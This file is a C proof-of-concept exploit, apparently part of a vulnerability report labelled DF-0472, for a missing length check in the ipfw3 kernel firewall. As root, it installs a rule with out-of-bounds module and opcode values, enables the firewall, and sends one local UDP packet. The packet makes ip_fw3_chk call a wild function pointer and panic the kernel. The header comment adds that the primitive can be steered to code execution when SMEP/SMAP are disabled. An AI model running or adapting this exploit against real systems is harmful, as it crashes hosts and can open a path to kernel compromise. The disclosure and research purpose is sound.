DF-0472 / panic.c
/* * DF-0472 - OOB function-pointer call via ip_fw3_chk (CWE-787 -> wild call) * * The same missing cmd_len validation lets an attacker install a rule whose * cmd[0] has out-of-bounds module/opcode. When the firewall is enabled and a * packet is evaluated, ip_fw3_chk (sys/net/ipfw3/ip_fw3.c:506) does: * * (filter_funcs[cmd->module][cmd->opcode])(&cmd_ctl,&cmd_val,&args,&f,cmd,ip_len); * * filter_funcs is [MAX_MODULE=10][MAX_OPCODE_PER_MODULE=100]. cmd[0].module / * cmd[0].opcode are attacker-controlled and never validated, so module=0x80 / * opcode=0x80 indexes 0x80*100+0x80 = 12928 entries past the 1000-entry array * => reads a wild pointer from neighbouring kernel memory and CALLS it => * fatal trap (page fault / general protection fault on a non-canonical addr). * * This is ROOT-triggered (raw socket + firewall enable). It is a kernel * memory-corruption primitive (controlled call of an attacker-influenced * pointer); on this guest (SMEP/SMAP off) it is steerable to code execution, * here demonstrated as a deterministic panic. * * Build: cc -o panic panic.c * Run : ./panic (as root, with ipfw3.ko loaded). EXPECT: kernel panic. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <stddef.h> #define MY_IP_FW_X 49 #define MY_IP_FW_ADD 50 #define MY_SIZE_OF_IPFWINSN 8 #define MY_IPFW_RULE_SIZE_MAX 255 typedef struct { uint8_t opcode; uint8_t len; uint16_t arg1; uint8_t module; uint8_t arg3; uint16_t arg2; } my_ipfw_insn; typedef struct { uint16_t opcode; uint16_t _pad; } my_x_header; struct my_ioc_rule { uint16_t act_ofs; uint16_t cmd_len; uint16_t rulenum; uint8_t set; uint8_t insert; uint32_t sets; uint64_t pcnt; uint64_t bcnt; uint32_t timestamp; my_ipfw_insn cmd[1]; }; int main(void) { int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket raw [needs root]"); return 2; } /* add a rule whose cmd[0] has OOB module+opcode (cmd_len=255: the bug) */ unsigned char addbuf[64]; memset(addbuf, 0, sizeof(addbuf)); my_x_header *xh = (my_x_header *)addbuf; xh->opcode = MY_IP_FW_ADD; xh->_pad = 0; struct my_ioc_rule *r = (struct my_ioc_rule *)(addbuf + sizeof(my_x_header)); memset(r, 0, sizeof(*r)); r->cmd_len = MY_IPFW_RULE_SIZE_MAX; /* 255 -- the unvalidated field */ r->cmd[0].opcode = 0x80; /* OOB opcode (> 100) */ r->cmd[0].len = 2; /* F_LEN=2 so chk advances 2 wd */ r->cmd[0].module = 0x80; /* OOB module (> 10) */ r->cmd[0].arg1 = 0; r->cmd[0].arg3 = 0; r->cmd[0].arg2 = 0; size_t addlen = sizeof(my_x_header) + sizeof(struct my_ioc_rule); int rc = setsockopt(s, IPPROTO_IP, MY_IP_FW_X, addbuf, addlen); printf("[+] installed OOB rule rc=%d (cmd[0] module=0x80 opcode=0x80)\n", rc); if (rc) { printf("[!] add failed: %s\n", strerror(errno)); close(s); return 1; } /* enable the firewall so ip_fw3_chk runs on the next packet */ printf("[+] enabling firewall (net.inet.ip.fw3.enable=1)...\n"); fflush(stdout); system("sysctl net.inet.ip.fw3.enable=1"); /* generate one outbound packet -> ip_fw3_check_out -> ip_fw3_chk * -> filter_funcs[0x80][0x80] -> wild call -> panic */ printf("[+] sending trigger packet (expect kernel panic now)...\n"); fflush(stdout); int u = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); struct sockaddr_in dst; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); /* discard */ dst.sin_addr.s_addr = htonl(0x7f000001); /* 127.0.0.1 */ sendto(u, "x", 1, 0, (struct sockaddr *)&dst, sizeof(dst)); usleep(200000); /* if we get here, the firewall did not panic on that packet */ printf("[!] no panic observed on trigger packet\n"); close(u); close(s); return 0; } |